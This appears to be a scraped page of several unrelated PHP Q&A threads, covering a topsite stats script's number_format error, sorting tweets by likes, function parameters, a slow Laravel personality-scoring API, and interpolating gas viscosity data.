$TMPL['unq_out_max_weekly'] = $TMPL['unq_out_0_weekly'] > $TMPL['unq_out_max_weekly'] ? $TMPL['unq_out_0_weekly'] : $TMPL['unq_out_max_weekly'];
$TMPL['tot_out_max_weekly'] = $TMPL['tot_out_0_weekly'] > $TMPL['tot_out_max_weekly'] ? $TMPL['tot_out_0_weekly'] : $TMPL['tot_out_max_weekly'];
$TMPL['unq_pv_max_monthly'] = $TMPL['unq_pv_0_monthly'] > $TMPL['unq_pv_max_monthly'] ? $TMPL['unq_pv_0_monthly'] : $TMPL['unq_pv_max_monthly'];
$TMPL['tot_pv_max_monthly'] = $TMPL['tot_pv_0_monthly'] > $TMPL['tot_pv_max_monthly'] ? $TMPL['tot_pv_0_monthly'] : $TMPL['tot_pv_max_monthly'];
$TMPL['unq_in_max_monthly'] = $TMPL['unq_in_0_monthly'] > $TMPL['unq_in_max_monthly'] ? $TMPL['unq_in_0_monthly'] : $TMPL['unq_in_max_monthly'];
$TMPL['tot_in_max_monthly'] = $TMPL['tot_in_0_monthly'] > $TMPL['tot_in_max_monthly'] ? $TMPL['tot_in_0_monthly'] : $TMPL['tot_in_max_monthly'];
$TMPL['unq_out_max_monthly'] = $TMPL['unq_out_0_monthly'] > $TMPL['unq_out_max_monthly'] ? $TMPL['unq_out_0_monthly'] : $TMPL['unq_out_max_monthly'];
$TMPL['tot_out_max_monthly'] = $TMPL['tot_out_0_monthly'] > $TMPL['tot_out_max_monthly'] ? $TMPL['tot_out_0_monthly'] : $TMPL['tot_out_max_monthly'];
$this->averages();
$TMPL['average_rating'] = $TMPL['num_ratings'] > 0 ? round($TMPL['total_rating'] / $TMPL['num_ratings'], 0) : 0;
function formatter($stats) { return number_format(floatval($stats)); }
$stats = array_map('number_format', $stats);
//$stats = array_map(function($v){return is_numeric($v) ? number_format($v) : $v;}, $stats);
$TMPL = array_merge($TMPL, $stats);
$this->locale();
$TMPL['header'] .= " - {$TMPL['title']}";
$TMPL['category_url'] = urlencode($TMPL['category']);
$query = "SELECT id, date, review FROM {$CONF['sql_prefix']}_reviews WHERE username = '{$TMPL['username']}' AND active = 1";
if (isset($FORM['all_reviews']) && $FORM['all_reviews']) {
$result = $DB->query("{$query} ORDER BY date DESC", __FILE__, __LINE__);
}
else {
$result = $DB->select_limit("{$query} ORDER BY RAND()", 2, 0, __FILE__, __LINE__);
}
$TMPL['reviews'] = '';
while (list($TMPL['id'], $TMPL['date'], $TMPL['review']) = $DB->fetch_array($result)) {
$TMPL['reviews'] .= $this->do_skin('stats_review');
}
$TMPL['content'] = $this->do_skin('stats');
}
else {
$this->error($LNG['g_invalid_u']);
}
}
}
class stats_overall extends stats {
function __construct() {
global $CONF, $DB, $FORM, $LNG, $TMPL;
$TMPL['header'] = $LNG['stats_overall'];
$stats = $DB->fetch("SELECT SUM(unq_pv_overall), SUM(tot_pv_overall), SUM(unq_in_overall), SUM(tot_in_overall), SUM(unq_out_overall), SUM(tot_out_overall),
SUM(unq_pv_0_daily), SUM(unq_pv_1_daily), SUM(unq_pv_2_daily), SUM(unq_pv_3_daily), SUM(unq_pv_4_daily), SUM(unq_pv_5_daily), SUM(unq_pv_6_daily), SUM(unq_pv_7_daily), SUM(unq_pv_8_daily), SUM(unq_pv_9_daily), SUM(tot_pv_0_daily), SUM(tot_pv_1_daily), SUM(tot_pv_2_daily), SUM(tot_pv_3_daily), SUM(tot_pv_4_daily), SUM(tot_pv_5_daily), SUM(tot_pv_6_daily), SUM(tot_pv_7_daily), SUM(tot_pv_8_daily), SUM(tot_pv_9_daily),
SUM(unq_in_0_daily), SUM(unq_in_1_daily), SUM(unq_in_2_daily), SUM(unq_in_3_daily), SUM(unq_in_4_daily), SUM(unq_in_5_daily), SUM(unq_in_6_daily), SUM(unq_in_7_daily), SUM(unq_in_8_daily), SUM(unq_in_9_daily), SUM(tot_in_0_daily), SUM(tot_in_1_daily), SUM(tot_in_2_daily), SUM(tot_in_3_daily), SUM(tot_in_4_daily), SUM(tot_in_5_daily), SUM(tot_in_6_daily), SUM(tot_in_7_daily), SUM(tot_in_8_daily), SUM(tot_in_9_daily),
SUM(unq_out_0_daily), SUM(unq_out_1_daily), SUM(unq_out_2_daily), SUM(unq_out_3_daily), SUM(unq_out_4_daily), SUM(unq_out_5_daily), SUM(unq_out_6_daily), SUM(unq_out_7_daily), SUM(unq_out_8_daily), SUM(unq_out_9_daily), SUM(tot_out_0_daily), SUM(tot_out_1_daily), SUM(tot_out_2_daily), SUM(tot_out_3_daily), SUM(tot_out_4_daily), SUM(tot_out_5_daily), SUM(tot_out_6_daily), SUM(tot_out_7_daily), SUM(tot_out_8_daily), SUM(tot_out_9_daily),
SUM(unq_pv_0_weekly), SUM(unq_pv_1_weekly), SUM(unq_pv_2_weekly), SUM(unq_pv_3_weekly), SUM(unq_pv_4_weekly), SUM(unq_pv_5_weekly), SUM(unq_pv_6_weekly), SUM(unq_pv_7_weekly), SUM(unq_pv_8_weekly), SUM(unq_pv_9_weekly), SUM(tot_pv_0_weekly), SUM(tot_pv_1_weekly), SUM(tot_pv_2_weekly), SUM(tot_pv_3_weekly), SUM(tot_pv_4_weekly), SUM(tot_pv_5_weekly), SUM(tot_pv_6_weekly), SUM(tot_pv_7_weekly), SUM(tot_pv_8_weekly), SUM(tot_pv_9_weekly),
SUM(unq_in_0_weekly), SUM(unq_in_1_weekly), SUM(unq_in_2_weekly), SUM(unq_in_3_weekly), SUM(unq_in_4_weekly), SUM(unq_in_5_weekly), SUM(unq_in_6_weekly), SUM(unq_in_7_weekly), SUM(unq_in_8_weekly), SUM(unq_in_9_weekly), SUM(tot_in_0_weekly), SUM(tot_in_1_weekly), SUM(tot_in_2_weekly), SUM(tot_in_3_weekly), SUM(tot_in_4_weekly), SUM(tot_in_5_weekly), SUM(tot_in_6_weekly), SUM(tot_in_7_weekly), SUM(tot_in_8_weekly), SUM(tot_in_9_weekly),
SUM(unq_out_0_weekly), SUM(unq_out_1_weekly), SUM(unq_out_2_weekly), SUM(unq_out_3_weekly), SUM(unq_out_4_weekly), SUM(unq_out_5_weekly), SUM(unq_out_6_weekly), SUM(unq_out_7_weekly), SUM(unq_out_8_weekly), SUM(unq_out_9_weekly), SUM(tot_out_0_weekly), SUM(tot_out_1_weekly), SUM(tot_out_2_weekly), SUM(tot_out_3_weekly), SUM(tot_out_4_weekly), SUM(tot_out_5_weekly), SUM(tot_out_6_weekly), SUM(tot_out_7_weekly), SUM(tot_out_8_weekly), SUM(tot_out_9_weekly),
SUM(unq_pv_0_monthly), SUM(unq_pv_1_monthly), SUM(unq_pv_2_monthly), SUM(unq_pv_3_monthly), SUM(unq_pv_4_monthly), SUM(unq_pv_5_monthly), SUM(unq_pv_6_monthly), SUM(unq_pv_7_monthly), SUM(unq_pv_8_monthly), SUM(unq_pv_9_monthly), SUM(tot_pv_0_monthly), SUM(tot_pv_1_monthly), SUM(tot_pv_2_monthly), SUM(tot_pv_3_monthly), SUM(tot_pv_4_monthly), SUM(tot_pv_5_monthly), SUM(tot_pv_6_monthly), SUM(tot_pv_7_monthly), SUM(tot_pv_8_monthly), SUM(tot_pv_9_monthly),
SUM(unq_in_0_monthly), SUM(unq_in_1_monthly), SUM(unq_in_2_monthly), SUM(unq_in_3_monthly), SUM(unq_in_4_monthly), SUM(unq_in_5_monthly), SUM(unq_in_6_monthly), SUM(unq_in_7_monthly), SUM(unq_in_8_monthly), SUM(unq_in_9_monthly), SUM(tot_in_0_monthly), SUM(tot_in_1_monthly), SUM(tot_in_2_monthly), SUM(tot_in_3_monthly), SUM(tot_in_4_monthly), SUM(tot_in_5_monthly), SUM(tot_in_6_monthly), SUM(tot_in_7_monthly), SUM(tot_in_8_monthly), SUM(tot_in_9_monthly),
SUM(unq_out_0_monthly), SUM(unq_out_1_monthly), SUM(unq_out_2_monthly), SUM(unq_out_3_monthly), SUM(unq_out_4_monthly), SUM(unq_out_5_monthly), SUM(unq_out_6_monthly), SUM(unq_out_7_monthly), SUM(unq_out_8_monthly), SUM(unq_out_9_monthly), SUM(tot_out_0_monthly), SUM(tot_out_1_monthly), SUM(tot_out_2_monthly), SUM(tot_out_3_monthly), SUM(tot_out_4_monthly), SUM(tot_out_5_monthly), SUM(tot_out_6_monthly), SUM(tot_out_7_monthly), SUM(tot_out_8_monthly), SUM(tot_out_9_monthly)
FROM {$CONF['sql_prefix']}_stats", __FILE__, __LINE__);
// Get rid of SUM() in array keys
foreach ($stats as $key => $value) {
$new_key = str_replace(array('SUM(', ')'), '', $key);
$stats[$new_key] = $value;
unset($stats[$key]);
}
$TMPL = array_merge($TMPL, $stats);
$this->averages();
$stats = array_map('number_format', $stats);
$TMPL = array_merge($TMPL, $stats);
$this->locale();
$TMPL['content'] = $this->do_skin('stats_overall');
}
}
?>
Error happen at line 85:
$stats = array_map('number_format', $stats);
Latest Error after using Miken32's Answer:
PHP Notice: Undefined index: title in sources/stats.php on line 91
PHP Notice: Undefined index: category in sources/stats.php on line 92
PHP Notice: Undefined index: title in sources/misc/skin.php(84) : runtime-created function on line 1
PHP Notice: Undefined index: url in sources/misc/ etc.
array_map() applies a function to each element of the array. In this case you're passing it the name of a function ("number_format") that expects a number but it's getting a string. Instead, you can pass it your own function that can check it:
$stats = array_map(function($v){return is_numeric($v) ? number_format($v) : $v;}, $stats);
By default numeric types from MySQL are returned as string values in php. The easiest thing to do would be create a custom function and pass that in:
function formatter($value) { return number_format(floatval($value)); }

Catch Tweets with JSON and sort by likes?

I am currently running a wordpress backend and want to display some tweets based on hastags on my website. For the general API request and database storage, I use this function:
private function parseRequest($json) {
$tmp = $json;
$result = array();
if (isset($json['statuses'])) {
$tmp = $json['statuses'];
}
if (isset($tmp) && is_array($tmp)){
foreach ($tmp as $t) {
$this->image = null;
$this->media = null;
$tc = new \stdClass();
$tc->feed_id = $this->id();
$tc->id = $t['id_str'];
$tc->type = $this->getType();
$tc->nickname = '#'.$t['user']['screen_name'];
$tc->screenname = (string)$t['user']['name'];
$tc->userpic = str_replace('.jpg', '_200x200.jpg', str_replace('_normal', '', (string)$t['user']['profile_image_url']));
$tc->system_timestamp = strtotime($t['created_at']);
$tc->text = $this->getText($t);
$tc->userlink = 'https://twitter.com/'.$t['user']['screen_name'];
$tc->permalink = $tc->userlink . '/status/' . $tc->id;
$tc->media = $this->getMedia($t);
#$tc->additional = array('shares' => (string)$t['retweet_count'], 'likes' => (string)$t['favorite_count'], 'comments' => (string)$t['reply_count']);
if ($this->isSuitablePost($tc)) $result[$tc->id] = $tc;
}
}
return $result;
}
Now I am looking for a function that counts all the variable in the "additional array together e.g. shares + likes + comments and sorts all posts based on the resulting number.
I am using the standard wordpress sql database. I cannot find a solution or I am just blind.
Thanks in regards
You could use a simple usort function:
usort($tc, function($a, $b) {
$a_sum = array_sum($a->additional);
$b_sum = array_sum($b->additional);
if ($a_sum == $b_sum) {
return 0;
}
return ($a_sum < $b_sum) ? -1 : 1;
});

PHP Function call with parameters/variables

I have two functions in one Controller class and I want to call a getFunction with five variables. Here is the function call
public function editItem()
{
$reqNote = 1;
$reqTore = 2;
$reqTorvorlage = 3;
$reqGelbRot = 1;
$reqRot = 0;
$vPunkte = $this->getPoints($reqNote, $reqTore, $reqTorvorlage, $reqGelbRot, $reqRot);
}
And here is the function which should calculate a new value return.
public function getPoints()
{
$vNote = $reqNote;
$vTore = $reqTore;
$vTorvorlage = $reqTorvorlage;
$vRot = $reqRot;
$vGelbRot = $reqGelbRot;
$vPosition = 1;
$vPunkteResult = $vToreP + $vTorvorlageP + $vRotP + $vGelbRotP + $vNoteP;
return $vPunkteResult;
}
What I am doing wrong with my function call because at the moment I get $reqNote is not found?
simply add the variable in signature
public function getPoints($reqNote, $reqTore, $reqTorvorlage, $reqGelbRot, $reqRot)
{
$vNote = $reqNote;
$vTore = $reqTore;
$vTorvorlage = $reqTorvorlage;
$vRot = $reqRot;
$vGelbRot = $reqGelbRot;
$vPosition = 1;
$vPunkteResult = $vToreP + $vTorvorlageP + $vRotP + $vGelbRotP + $vNoteP;
return $vPunkteResult;
}
As your function currently looks as though the intention was to add the arguments (it is actually returning the sum of undefined variables i.e. $vToreP is never assigned, nor are the function arguments), you could take a short-cut:
<?php
function sumThings()
{
return array_sum(func_get_args());
}
var_dump(sumThings(1, 2, 3, 4, 5, 6));
Output:
21
Update the function signature. It should know that it is expecting 5 variables.
public function getPoints($reqNote, $reqTore, $reqTorvorlage, $reqGelbRot, $reqRot)
{
$vNote = $reqNote;
$vTore = $reqTore;
$vTorvorlage = $reqTorvorlage;
$vRot = $reqRot;
$vGelbRot = $reqGelbRot;
$vPosition = 1;
$vPunkteResult = $vToreP + $vTorvorlageP + $vRotP + $vGelbRotP + $vNoteP;
return $vPunkteResult;
}

Laravel Request does not return result

I am using AWS and laravel 5.1.
I have two issues:
Most of the time API returns the expected result but sometimes server
doesn't return result for longer time. It might be due to the server
load(Although we don't have too much load on server).
Clients wait for few minutes and after that application crashes. Any
Advice.
If Client made an API request and before getting result, if device
loses internet connection. Server has process the data but unable to
deliver it to the client. how to handle this (Both in get as well as
post request)
Sample Code for first Part
public function psychometricResponses(Request $request)
{
$questionId=$request->get('questionId');
$answerId=$request->get('answerId');
$from = $request->has('from');
$userId = $request->has('id') ? $request->get('id') : 0;
$name = $request->has('name') ? $request->get('name') : '';
$email = $request->has('email') ? $request->get('email') : '';
$gender = $request->has('gender') ? $request->get('gender') : '';
$relationshipStatus = $request->has('relationshipStatus') ? $request->get('relationshipStatus') : '';
if($userId!=0){
$status = 1;
User::where('id',$userId)->update(['status'=>1]);
}else{
$status = 0;
}
$id = $this->calculatePersonality($questionId, $answerId, $userId, $from, $name, $email, $gender, $relationshipStatus);
return json_encode(['code'=>200,'message'=>"success",'response'=>array('personality'=>$this->_getPersonality($id),'psychometricId'=>$id,'status'=>$status)]);
}
public function calculatePersonality($questionId, $answerId, $userId, $from, $name, $email, $gender, $relationshipStatus)
{
//
$questionArray = explode(',', $questionId); //arraySize is 60
$answerArray = explode(',', $answerId); // //arraySize is 60
$this->questionAll = $this->_questionAll();
$personality = array('O'=>0,'C'=>0,'E'=>0,'A'=>0,'N'=>0);
for($i=0; $i<sizeof($answerArray);$i++){
$type = $this->_getQuestionType($questionArray[$i]);
if($type=='O'){
$personality['O'] = $answerArray[$i]=='1' ? $personality['O']+1 : $personality['O']-1;
}else if($type=='OR'){
$personality['O'] =$answerArray[$i]=='1' ? $personality['O']-1 : $personality['O']+1;
}else if($type=='C'){
$personality['C'] = $answerArray[$i]=='1' ? $personality['C']+1 : $personality['C']-1;
}else if($type=='CR'){
$personality['C'] = $answerArray[$i]=='1' ? $personality['C']-1 : $personality['C']+1;
}else if($type=='E'){
$personality['E'] = $answerArray[$i]=='1' ? $personality['E']+1 : $personality['E']-1;
}else if($type=='ER'){
$personality['E'] = $answerArray[$i]=='1'?$personality['E']-1 : $personality['E']+1;
}else if($type=='A'){
$personality['A'] = $answerArray[$i]=='1' ? $personality['A']+1 : $personality['A']-1;
}else if($type=='AR'){
$personality['A'] = $answerArray[$i]=='1' ? $personality['A']-1 : $personality['A']+1;
}else if($type=='N'){
$personality['N'] = $answerArray[$i]=='1'? $personality['N']+1 : $personality['N']-1;
}else if($type=='NR'){
$personality['N'] = $answerArray[$i]=='1' ? $personality['N']-1 : $personality['N']+1;
}
}
$mod = array();
$mod['O'] = abs($personality['O']);
$mod['C'] = abs($personality['C']);
$mod['E'] = abs($personality['E']);
$mod['A'] = abs($personality['A']);
$mod['N'] = abs($personality['N']);
arsort($mod);
$values = array_keys($mod);
$pTypeOne = $personality[$values[0]] < 0 ? $values[0].'R' : $values[0];
$pTypeTwo = $personality[$values[1]] < 0 ? $values[1].'R' : $values[1];
$pTypeThree = $personality[$values[2]] < 0 ? $values[2].'R' : $values[2];
$pTypeFour = $personality[$values[3]] < 0 ? $values[3].'R' : $values[3];
$pTypeFive = $personality[$values[4]] < 0 ? $values[4].'R' : $values[4];
$psychometricResponse = PsychometricResponse::create(array('typeA'=>$pTypeOne, 'valueA'=>$personality[$values[0]],'typeB'=>$pTypeTwo, 'valueB'=>$personality[$values[1]],
'typeC'=>$pTypeThree, 'valueC'=>$personality[$values[2]],'typeD'=>$pTypeFour, 'valueD'=>$personality[$values[3]],
'typeE'=>$pTypeFive, 'valueE'=>$personality[$values[4]],'questionId'=>$questionId,'answerId'=>$answerId, 'userId'=>$userId, 'from'=>$from,'name'=>$name,'email'=>$email, 'gender'=>$gender,'relationshipStatus'=>$relationshipStatus));
return $psychometricResponse->id;
}
private function _questionAll(){
$question = PsychometricQuestion::where('isActive',1)->get(['id','type']);
$result =array();
for($i=0;$i<sizeof($question);$i++){
$result[$question[$i]->id] = $question[$i]->type;
}
return $result;
}
private function _getQuestionType($id){
return $this->questionAll[$id];
}
private function _getPersonality($id){
$personality = PsychometricResponse::where('id',$id)->first(['typeA','typeB','typeC','typeD','typeE','valueA','valueB']);
$combined = array($personality->typeA,$personality->typeB);
sort($combined);
$combinedPersonality = PsychometricResult::where('type',$combined[0]."-".$combined[1])->first(['type','keyword','description','colorCode']); //Table PsychometricResult has 40 rows only.
$primaryPersonality = PsychometricResult::where('type',$personality->typeA)->first(['type','keyword','description','colorCode']);
$secondaryPersonality = PsychometricResult::where('type',$personality->typeB)->first(['type','keyword','description','colorCode']);
$permutation = $this->_getAllPermutation($personality);
$stylePersonality = PsychometricStyle::whereIn('type',$permutation)->get(['type','aspect','style','description']);
$primaryPercentage = round(abs($personality->valueA)/(abs($personality->valueA)+abs($personality->valueB)), 2);
$secondaryPercentage = 1 - $primaryPercentage;
return array('primaryPersonality'=>$primaryPersonality,'secondaryPersonality'=>$secondaryPersonality,'combinedPersonality'=>$combinedPersonality,
'styles'=>$stylePersonality,'primaryPercentage'=>$primaryPercentage,'secondaryPercentage'=>$secondaryPercentage);
}
private function _getAllPermutation($personality){
$combined = array($personality->typeA,$personality->typeB,$personality->typeC,$personality->typeD,$personality->typeE);
sort($combined);
$permutation = array();
for($i=0;$i<sizeof($combined);$i++){
for($j=$i+1;$j<5;$j++){
array_push($permutation,$combined[$i]."-".$combined[$j]);
}
}
return $permutation;
}

polygon matrix calculation for viscosity matrix

I am writing a program which needs different value of gas viscosity at different temperature for respective gases. Data which i have is given below. I am new in programming in php . can anyone please give me the logic behind it. so that i can get viscosity at any required tempertaure through the program. thanks
Data for viscosity calculation (dyn. visc. [Ns/m² = kg/ms]; Source: VDI Wärmeatlas
Temp. [°C] 0 100 200 300 400 500
CO2 1,37E-05 1,82E-05 2,22E-05 2,59E-05 2,93E-05 3,24E-05
O2 1,92E-05 2,43E-05 2,88E-05 3,29E-05 3,67E-05 4,03E-05
H2O 9,00E-06 1,25E-05 1,61E-05 1,97E-05 2,33E-05 2,69E-05
N2 1,66E-05 2,09E-05 2,47E-05 2,82E-05 3,14E-05 3,42E-05
You can easily fit your data in Excel. Here's a plot that shows the result, along with the 2nd order polynomial:
Finally I got the right answer. In case if anyone need it, I am posting it out here:
class baseViscosityCalc {
public $arViscosity = array(
array(0, 1.37e-05, 1.92e-05, 9.00e-06, 1.66e-05),
array(100, 1.82e-05, 2.43e-05, 1.25e-05, 2.09e-05),
array(200, 2.22e-05, 2.88e-05, 1.61e-05, 2.47e-05),
array(300, 2.59e-05, 3.29e-05, 1.97e-05, 2.82e-05),
array(400, 2.93e-05, 3.67e-05, 2.33e-05, 3.14e-05),
array(500, 3.24e-05, 4.03e-05, 2.69e-05, 3.42e-05)
);
public function getViscosityData($DCat) {
$arValue = array(
'Temperature' => 0.0,
'CO2' => 0.0,
'O2' => 0.0,
'H2O' => 0.0,
'N2' => 0.0
);
for ($i = 0; $i < count($this->arViscosity); $i++) {
$arValue['Temperature'] = $DCat;
if ($DCat < $this->arViscosity[0][0]) {
$arValue['CO2'] = $this->arViscosity[0][1];
$arValue['O2'] = $this->arViscosity[0][2];
$arValue['H2O'] = $this->arViscosity[0][3];
$arValue['N2'] = $this->arViscosity[0][4];
break;
}
if ($DCat > $this->arViscosity[count($this->arViscosity) - 1][0]) {
$arValue['CO2'] = $this->arViscosity[count($this->arViscosity) - 1][1];
$arValue['O2'] = $this->arViscosity[count($this->arViscosity) - 1][2];
$arValue['H2O'] = $this->arViscosity[count($this->arViscosity) - 1][3];
$arValue['N2'] = $this->arViscosity[count($this->arViscosity) - 1][4];
breaK;
}
if ($DCat > $this->arViscosity[$i][0] && $DCat < $this->arViscosity[$i + 1][0]) {
$factor = ($DCat - $this->arViscosity[$i][0]) / ($this->arViscosity[$i + 1][0] - $this->arViscosity[$i][0]);
$arValue['CO2'] = $factor * ($this->arViscosity[$i + 1][1] - $this->arViscosity[$i][1]) + $this->arViscosity[$i][1];
$arValue['O2'] = $factor * ($this->arViscosity[$i + 1][2] - $this->arViscosity[$i][2]) + $this->arViscosity[$i][2];
$arValue['H2O'] = $factor * ($this->arViscosity[$i + 1][3] - $this->arViscosity[$i][3]) + $this->arViscosity[$i][3];
$arValue['N2'] = $factor * ($this->arViscosity[$i + 1][4] - $this->arViscosity[$i][4]) + $this->arViscosity[$i][4];
break;
}
}
return $arValue;
}
}

Categories